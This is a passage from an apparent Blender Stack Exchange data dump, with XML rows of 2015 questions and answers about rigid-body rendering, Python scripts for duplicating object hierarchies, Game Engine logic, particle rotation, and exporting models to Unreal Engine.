more on what I want to do!&#xA;Thing to note here is that, I have single python script and I am generating 10 different scenes one after the other, where each scene has objects positions randomly. Currently I am using bake-all method to get the final state of each scene and render the scene out to see whats the final stage. Now instead of getting the final frame for all these scenes, I want to start the animation before baking each scene and render it out to a video. I want to do this for each scene one by one in the loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2: I guess I am in the process of figuring it out. I found out that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.rigidbody.objects_add(type='ACTIVE')&#xA;bpy.ops.ptcache.bake_all(bake=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does do the physics simulation before hand store it in a file. Now all I have to do is to do the below to get the animaton? I will post the results when I find it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.camera = camera&#xA;bpy.ops.render.render(write_still=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15189" LastEditorUserId="15189" LastEditDate="2015-07-22T15:49:39.840" LastActivityDate="2015-10-20T22:19:51.887" Title="Free fall physics simulation capture as a video" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34354" PostTypeId="1" AcceptedAnswerId="34399" CreationDate="2015-07-22T03:25:34.027" Score="0" ViewCount="153" Body="&lt;p&gt;I have some Blender model assets associated with a Unity book I am working through (Unity Android Game Development by Example Beginner's Guide from Packt).  The book came out in 2013 and the assets were presumably made with an older version of Blender (I have the latest, 2.75a).  Every face in the model seems to have gone missing.  All of the vertices are there and the models appear as wireframes that are recognizable, but there is nothing that is renderable and you can't export the models to an FBX as the result is an empty file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to save the TankBattleCity model and I discovered that if I create a face out of four vertices, such as on the obelisk in the fountain, it will suddenly have a 'tangible' surface.  There are probably over 1000 faces to make so that is really a non-starter.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the face data still in the original file but just not being read in by the latest Blender?  Is there a way to retrieve that data?  Is there a faster way to create the new faces?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached a screen shot on my work on the fountain.  This is in 3D view with Solid enabled.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQR23.png&quot; alt=&quot;Partially fixed (by hand) fountain&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited to add that I am very new to Blender.  I have had some training in Max and Maya, but Blender seems/feels very different (and I haven't really used Maya in about a year so I'm pretty rough at this anyway...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the original blend file: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/366/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=366&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the trick in the comments to go through each object in the scene, but I have a lot of blend files for this book so it would be good to know if there's a way to recover the faces  more efficiently as I am likely to encounter this problem repeatedly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:It also looks like most of the normals are wrong, even on my new faces.  Flipping the direction seems to work, but there are about 100 faces in this particular model so, again, not very effiecient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I installed Blender 2.69 and it mostly works with the old model.  There still seems to be a couple of faces that aren't showing but it looks about 95% correct straight from load.  Thanks to user Todd for suggesting it.  It was released in October of the year the book came out which was December (2013).  I don't think I can mark a comment as the answer.&lt;/p&gt;&#xA;" OwnerUserId="15820" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-07-23T01:38:49.307" Title="recover faces from old model" Tags="&lt;faces&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34355" PostTypeId="1" CreationDate="2015-07-22T04:16:23.190" Score="2" ViewCount="1446" Body="&lt;p&gt;Heres what I need help with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have an Object in the Outliner, it has children. Some of the children in the outliner have the pointer (object is selectable/non) turned off. I need some of the objects selectable and some not for animation purposes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click&gt;Select Hierarchy only selects the children objects that have &quot;selectability&quot; turned on.  Same for Shift-G&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Duplicating the parent object, I want a way to have ALL of the children involved in the duplication, without having to go in and manually turn on &quot;selectability&quot; for the children objects who have it turned off. (and then have to manually revert all the ones who need to be reverted.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often forget that there are children objects and sometimes end up with duplicated objects that are missing some pieces... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&#xA;jd&lt;/p&gt;&#xA;" OwnerUserId="15821" LastActivityDate="2015-08-21T06:53:55.040" Title="Duplicating ALL of a Hierarchy - selectable or not" Tags="&lt;workflow&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34356" PostTypeId="2" ParentId="34355" CreationDate="2015-07-22T06:28:21.590" Score="2" Body="&lt;p&gt;Here's my solution. The script starts with the selected item and iterates over each child object (recursively to include children of children). If the child object is set to non-selectable, it changes the object to selectable, adds a flag to the object for later, and also adds the object to the current selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After duplication of the group, the script iterates through both groups and checks for the flag set earlier. If it finds the flag, it make the object non-selectable again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def CheckSelectStatus(p):&#xA;    for c in p.children:&#xA;        print(c.name)&#xA;        c['hideSelectWasTrue'] = False&#xA;        if bpy.data.objects[c.name].hide_select == True:&#xA;            bpy.data.objects[c.name].hide_select = False&#xA;            c['hideSelectWasTrue'] = True&#xA;        c.select = True&#xA;        CheckSelectStatus(c)&#xA;&#xA;def RestoreSelectStatus(p):&#xA;    for c in p.children:&#xA;        if c['hideSelectWasTrue'] == True:&#xA;            bpy.data.objects[c.name].hide_select = True&#xA;        RestoreSelectStatus(c)&#xA;&#xA;#---------------------------------------------------&#xA;&#xA;#get our selected parent object&#xA;p1 = bpy.context.active_object&#xA;&#xA;#iterate through children and make selectable and select them                &#xA;CheckSelectStatus(p1)&#xA;&#xA;bpy.ops.object.duplicate()&#xA;&#xA;p2Name = &quot;&quot;&#xA;&#xA;#iterate through selected objects to find duplicated parent object&#xA;for obj in bpy.context.selected_objects:&#xA;    if obj.parent is None:&#xA;        p2Name = obj.name&#xA;&#xA;#iterate through original group and disable selection&#xA;RestoreSelectStatus(p1)&#xA;&#xA;#iterate through duplicated group and disable selection       &#xA;p2 = bpy.data.objects[p2Name]&#xA;RestoreSelectStatus(p2) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-22T06:28:21.590" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34357" PostTypeId="1" CreationDate="2015-07-22T06:45:52.333" Score="5" ViewCount="8003" Body="&lt;p&gt;I'm currently trying to use Freestyle with Cycles to render a toon shaded image of a robot. The robot is holding a sword, which uses a separate material, and since it glows, I don't want freestyle to draw edges on its blade. However, I can't figure out how to make freestyle ignore specific edges. The sword does have a separate material and is a separate object, so perhaps I can disable freestyle just for that sword's material/object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd love to know how to disable freestyle for edges, materials and objects.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2015-07-28T13:48:02.233" Title="How do I make Freestyle ignore a specific edge, material or object?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-07-28T14:09:59.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="34358" PostTypeId="1" AcceptedAnswerId="34390" CreationDate="2015-07-22T06:57:20.160" Score="4" ViewCount="692" Body="&lt;p&gt;This too noisy after rendering, I tried to give it more samples up to 500, it changed a little, higher resolution also helped, but still it is too noisy, Caustics on nor off don't make a real difference, bounces are set to 1024. I really don't know what else I can do, and haven't found an answer anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bKUpY.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/96AqS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/96AqS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CVy69.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;This picture was taken in Rhinoceros via Vray, same scene, settings as same as it was possible, but you can see no noise here. And this is the result I would like to achieve in blender too.&lt;/p&gt;&#xA;" OwnerUserId="12815" LastEditorDisplayName="user1853" LastEditDate="2015-07-22T19:47:36.343" LastActivityDate="2015-07-22T20:21:05.250" Title="Image is too noisy" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;noise-reduction&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34361" PostTypeId="2" ParentId="34165" CreationDate="2015-07-22T07:23:07.793" Score="2" Body="&lt;p&gt;&lt;strong&gt;Cause&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you do not understand the concept of the BGE logic. In your Python code you describe the behavior within a single frame. This means it runs exactly once per game loop iteration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your loop will not executed &quot;over time&quot;. It will run within one frame resulting in overriding the object location and printing to console 100 times. The effect is: 100 messages per frame and a waste of processing time (as only the last location change will be visible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Design the code in a way that it describes ONE iteration rather than 100. Run the code when you want to change the location. This might be &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;constantly (Always with true level triggering), &lt;/li&gt;&#xA;&lt;li&gt;at key press (keyboard sensor)&lt;/li&gt;&#xA;&lt;li&gt;random interval (timer property + property sensor + random actuator)&#xA;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;here is a sample code - demo.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import random&#xA;&#xA;def setAtRandomPosition(): &#xA;    if not allSensorsArePositive():&#xA;        return&#xA;    owner = bge.logic.getCurrentController().owner&#xA;&#xA;    owner.localPosition.x = random.randint(-10, 10)&#xA;    owner.localPosition.y = random.randint(-10, 10)&#xA;&#xA;def allSensorsArePositive():&#xA;    for sensor in bge.logic.getCurrentController().sensors:&#xA;        if not sensor.positive:&#xA;            return False&#xA;    return True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;call it with Module mode: demo.setAtRandomPosition&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hard-coded the limits from -10 to +10. You see this code is very simple as you only care one frame. How you keep the object within the camera frustum is up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this with an Always Sensor [True Level Triggering] Frequency: 20&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1bnqD.png&quot; alt=&quot;Always with Python controller&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or use the keyboard sensor to set a new position at each  press&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JLQJc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps you&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-22T07:23:07.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34362" PostTypeId="1" AcceptedAnswerId="34366" CreationDate="2015-07-22T07:40:26.073" Score="0" ViewCount="63" Body="&lt;p&gt;I use a combination Ctrl + R, to divide the surface into 2 parts. It appears pink line, but I somehow for some polygons can pave it only from the top down or from left to right only, and I need the opposite. What am i doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the screenshot the red outlined, I can not lay a pink line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YlNDK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15826" LastActivityDate="2015-07-22T11:49:23.937" Title="Can't divide the surface into 2 parts" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-22T15:17:34.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="34363" PostTypeId="2" ParentId="34155" CreationDate="2015-07-22T07:56:42.540" Score="2" Body="&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Rays&quot; are a method to detect if an imaginary line crosses one or more faces. That leads to the question: &lt;em&gt;What faces?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the BGE there are two kinds of faces:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;visible faces (display mesh) and &lt;/li&gt;&#xA;&lt;li&gt;collision faces (physics mesh). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These face types can but do not need to match. (Often it is better when there are less collision meshes than display meshes for faster processing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rays are part of the physics aspect. Therefore faces the physics would collide with are considered for hit detection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess after this (hopefully understandable) explanation, you come to the conclusion that the ray will hit the shape defined by the objects Physics/Collision Bounds/Bounds&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If it is set to Box, the physics mesh is a box where the display mesh fits in. &lt;/li&gt;&#xA;&lt;li&gt;If it is set to convex hull, the physics mesh will span a convex triangle mesh around the display mesh (faster than triangle mesh processing)&lt;/li&gt;&#xA;&lt;li&gt;if it is set to triangle mesh, the physics mesh will match the display mesh (creates the most processing overhead)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Be aware&lt;/strong&gt;: quads are broken into two triangles. The triangles might not match the triangles of the display mesh as there are two ways to break a quad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the current physics mesh by enabling Main menu/Game/Show Physics Visualization (the green mesh when resting otherwise white lines). &#xA;&lt;img src=&quot;https://i.stack.imgur.com/qRX41.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;strong&gt;Attention&lt;/strong&gt;: The visualization on a convex hull is not necessarily correct. I guess it is simpler to detect collisions than drawing a convex hull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ray detects the collision bounds your explicitly set up.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-22T07:56:42.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34364" PostTypeId="1" CreationDate="2015-07-22T08:35:41.827" Score="2" ViewCount="141" Body="&lt;p&gt;For example (see image 1), I'm using a parametric WOOD TEXTURE and DISPLACEMENT MODIFIER on a subdivided plane to create this object. But I want the geometry (i.e. the wave's amplitude) to progressively increase or decrease (from 0.0 to 1.0, for example).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PbjmQ.jpg&quot; alt=&quot;image 1&quot;&gt;&#xA;image 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand how to smoothly modulate the waves' height using a VERTEX GROUP (see image 2). &#xA;&lt;img src=&quot;https://i.stack.imgur.com/4c7fp.jpg&quot; alt=&quot;image 2&quot;&gt;&#xA;image 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I want the space between the waves (or amplitude) to progressively change, as represented in this example (see image 3) using ARRAY planes and a modifier object to progressively modulate the X and Y values of the planes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Unvzb.jpg&quot; alt=&quot;image 3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13719" LastActivityDate="2015-07-22T08:35:41.827" Title="Is it possible to modify the parametric texture of a displacement modifier to create a progressive geometry?" Tags="&lt;modifiers&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34365" PostTypeId="1" AcceptedAnswerId="35252" CreationDate="2015-07-22T08:36:36.170" Score="0" ViewCount="818" Body="&lt;p&gt;In &lt;strong&gt;Blender&lt;/strong&gt; I have a cupboard with the doors. When I export it to the &lt;strong&gt;Unreal Engine&lt;/strong&gt; (*.fbx file), I want to be able open/close this doors in my game. But in &lt;strong&gt;Unreal&lt;/strong&gt; I have only 1 object and in &lt;strong&gt;Blender&lt;/strong&gt; - 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vuhC5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/quYfD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15826" LastActivityDate="2015-08-07T13:34:19.263" Title="Export to Unreal Engine without combining all the elements in one object" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34366" PostTypeId="2" ParentId="34362" CreationDate="2015-07-22T09:52:27.847" Score="2" Body="&lt;p&gt;Interruptions in Loop-cut means you need to inspect the geometry closer, often it points to faces not being joined by the edges that you think they're joined with. Some discontinuities are easy to overlook, but also easy to spot &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Play close attention in Face selection mode to the locations of the &lt;em&gt;dots&lt;/em&gt; that represent the median point of faces. If you see a dot on an edge that's a sign that you have accidentally created degenerate geometry, or if not degenerate then possibly &lt;em&gt;unintended&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A side ways zoomed in view of your screenshot.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6qWz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting all in Edit Mode and &lt;em&gt;Remove doubles&lt;/em&gt; can be used in most cases, except when you intentionally have vertices closer than the threshold that Remove Doubles operates on.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-22T11:49:23.937" LastActivityDate="2015-07-22T11:49:23.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34367" PostTypeId="1" CreationDate="2015-07-22T10:19:31.963" Score="1" ViewCount="2101" Body="&lt;p&gt;In blender the position of the pivot point is correct.&#xA;But it moves to another direction after importing to Unreal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can it be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is a question more about Unreal, not Blender, but here community helps much more faster, than Unreal community =) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ezjKe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ezjKe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PR5g1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PR5g1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cM7AN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cM7AN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15826" LastEditorUserId="15826" LastEditDate="2015-07-22T12:49:57.290" LastActivityDate="2015-07-22T12:49:57.290" Title="How to export pivot point from Blender to Unreal Engine?" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34368" PostTypeId="1" CreationDate="2015-07-22T10:33:50.593" Score="2" ViewCount="67" Body="&lt;p&gt;I have an excel files of coordinates. There's a lot of coordinates so slowly plot them one by one is not practical? Is there anyway to create a curve though them automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks lots and really appreciate your help!!&lt;/p&gt;&#xA;" OwnerUserId="15827" LastEditorUserId="241" LastEditDate="2015-07-22T12:21:52.103" LastActivityDate="2015-07-22T12:21:52.103" Title="Draw a curve through coordinates" Tags="&lt;bezier-curves&gt;&lt;coordinates&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-07-22T14:55:49.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="34369" PostTypeId="2" ParentId="32503" CreationDate="2015-07-22T10:48:37.153" Score="4" Body="&lt;p&gt;The most obvious workaround is to not use Grease Pencil at all and use texture painting instead. The &quot;mode&quot; button should be switched from &quot;View&quot; to &quot;Paint&quot; and then all the paint strokes are saved with &quot;Save as Image&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4kPEr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4kPEr.png&quot; alt=&quot;paint mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2015-07-22T10:48:37.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34370" PostTypeId="1" AcceptedAnswerId="34374" CreationDate="2015-07-22T11:22:28.313" Score="2" ViewCount="10210" Body="&lt;p&gt;I'm relatively new to blender and I would like to get this hexagon model to emit rotated toward the face it was emitted from. Here's what I have, &lt;a href=&quot;https://i.stack.imgur.com/G4QzN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G4QzN.png&quot; alt=&quot;The problem&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are confused about something I said, I can clarify some more.&lt;/p&gt;&#xA;" OwnerUserId="15829" LastActivityDate="2015-07-22T18:29:12.050" Title="How can I get particles to emit with a rotation based off of the rotation of the face it was emitted from" Tags="&lt;modeling&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-22T15:12:05.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="34371" PostTypeId="2" ParentId="34367" CreationDate="2015-07-22T12:03:15.897" Score="1" Body="&lt;p&gt;Before exporting from Blender, add an empty to your scene where you want your origin point to be, then parent the cupboard to the empty.  Optionally rename empty to 'cupboard' or whatever you want.  This works for Unity, and I assume it'd work in UE4.&lt;/p&gt;&#xA;" OwnerUserId="15831" LastActivityDate="2015-07-22T12:03:15.897" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34372" PostTypeId="1" CreationDate="2015-07-22T12:12:38.997" Score="2" ViewCount="498" Body="&lt;p&gt;I'm new to blender and would like model a plastic food tray.&#xA;Which is the best way to model it ?&lt;a href=&quot;https://i.stack.imgur.com/zygpI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zygpI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15832" LastActivityDate="2015-07-22T17:56:21.730" Title="How to model a plastic food tray?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34373" PostTypeId="1" AcceptedAnswerId="34380" CreationDate="2015-07-22T13:45:03.223" Score="1" ViewCount="538" Body="&lt;p&gt;I'm creating a captivate training module, and it would simplify some work if I could just create an animation in blender, then import it into captivate. However, I will need the video to have background transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played around with the animation output types in blender, and some do produce transparent background video, but that turns to black in Captivate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on the output type or workflow would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15445" LastActivityDate="2015-07-22T19:02:18.820" Title="Blender + Captivate - Transparent Flash Video" Tags="&lt;animation&gt;&lt;transparency&gt;&lt;video&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34374" PostTypeId="2" ParentId="34370" CreationDate="2015-07-22T13:50:46.907" Score="2" Body="&lt;p&gt;In ParticleSettings for the emitter, turn on Rotation and set Initial Rotation to Normal. In my example I also set gravity to 0, as shown, as it seems you did also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orient your particle object in edit mode in a way that its local y-axis points to the forward direction you like it to have. You can see its local axis by turning on Axis in Display tab of the object properties for the particle object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/368/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=368&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iXHFR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iXHFR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to have a look over the &lt;a href=&quot;http://www.blender.org/manual/physics/particles/physics/introduction.html#rotation&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual section on particle rotation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15550" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-22T18:29:12.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34375" PostTypeId="2" ParentId="34353" CreationDate="2015-07-22T14:22:09.390" Score="0" Body="&lt;p&gt;If you're running blender in headless mode (ie command line mode), then a sample animation render call would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b file.blend -s 1 -e 500 -a -P startscript.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more reference material on command arguments here: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Render/Command_Line&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Manual/Render/Command_Line&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-22T14:22:09.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34376" PostTypeId="1" CreationDate="2015-07-22T14:36:58.907" Score="1" ViewCount="97" Body="&lt;p&gt;I need to paint weight on a surface with precision.&#xA;Can i put another mesh on my plane and paint it with that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this &quot;gray&quot; plane and this &quot;pink&quot; shape. i want to use the pink shape to weight paint the plane below&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vmCrd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vmCrd.png&quot; alt=&quot;Road and Grass field&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;" OwnerUserId="15835" LastEditorUserId="15835" LastEditDate="2015-07-22T15:31:59.440" LastActivityDate="2015-07-22T20:21:59.750" Title="How to use Mesh to paint weight to another" Tags="&lt;weight-painting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
